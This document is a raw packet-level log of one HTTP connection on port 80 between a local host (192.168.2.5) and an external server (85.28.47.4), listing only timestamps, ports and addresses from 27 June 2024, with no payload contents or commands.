Jun 27, 2024 07:37:14.119632959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119651079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119657993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119663000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119666100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.119668961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119677067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119678974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119680882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119688988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119695902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119698048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.119707108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.119738102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.119751930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.120454073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.120470047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.120479107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.120511055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.120522022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.121270895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.121316910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.199749947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199817896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199831009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199841022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.199863911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.199884892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.199955940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199970007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199981928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199995041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.199996948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200009108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200031042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200207949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200221062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200232029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200251102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200275898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200628996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200644016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200654030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200664997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200675964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200680017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200694084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200702906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200706005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200717926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200727940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.200731039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200747013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.200772047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201122046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201137066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201148033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201159000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201169014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201169968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201181889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201190948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201196909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201206923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201215982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201232910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201250076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201740026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201751947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201761961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201772928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201785088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201786041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201796055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201798916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201807022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201817989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201826096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201828957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201838970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201847076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201849937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201865911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201865911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.201889038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.201908112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.202657938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202672958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202682972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202694893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202704906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202717066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202728033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202740908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202748060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.202752113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202756882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.202756882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.202764988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202775955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.202778101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.202830076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203419924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203433990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203449011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203459978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203466892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203470945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203483105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203483105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203494072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203504086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203510046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203515053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203528881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203538895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203543901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203552961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203562021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203567028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.203579903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.203613043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204175949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204220057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204237938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204282045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204394102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204406977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204417944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204430103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204440117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204449892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204478979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204694986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204706907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204718113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204727888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204739094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204741001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204751968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204756021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204762936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204775095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204782009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.204798937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204817057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.204843044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205338955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205352068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205360889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205373049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205382109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205384970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205395937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205409050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205411911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205420017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205430984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205442905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205444098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205454111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.205466986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205485106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.205513954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206039906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206052065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206063032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206074953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206083059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206085920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206096888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206100941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206108093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206119061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206125021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206130981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206142902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206142902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206154108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206161022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206166029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206176996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206183910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206213951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206222057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206640959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206651926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206661940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.206682920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.206701040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.281697035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281723976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281734943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281774998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.281795025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.281898022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281907082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281928062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281939030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.281939030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.281964064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.281985998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.282075882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282089949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282100916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282110929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282129049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.282145023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.282250881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282299995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.282344103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282360077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282370090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282378912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.282396078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.282417059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286422014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286473036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286528111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286540985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286550999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286576986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286591053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286653042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286667109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286678076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286698103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286722898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286880970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286895990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286906004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286916971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286926985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286931992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286938906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.286958933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.286981106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287081957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287126064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287225962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287236929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287247896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287257910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287269115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287270069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287280083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287286997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287291050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287313938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287328959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287573099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287585974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287596941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287607908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287617922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287623882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287632942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287635088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287645102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287663937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287677050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.287976027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.287988901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288000107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288011074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288022041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288028955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288038969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288050890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288060904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288062096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288073063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288083076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288088083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288099051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288100004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288129091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288530111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288541079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288551092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288564920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288574934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288580894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288592100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288602114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288603067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288614035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288624048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288630962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288640976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288642883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288651943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288662910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288671017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288676023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288691044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.288702011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288717985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.288741112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289068937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289089918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289102077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289103031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289113045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289124966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289139986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289139986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289153099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289158106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289165020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289170980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289186001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289195061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289197922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289207935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289212942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289218903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.289233923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.289258957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290735960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290776014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290802956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290822029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290844917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290860891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290915966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290930986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290941000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290951967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290952921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290966034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.290967941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.290987968 CEST	49705	80	192.168.2.5	85.28.47.4
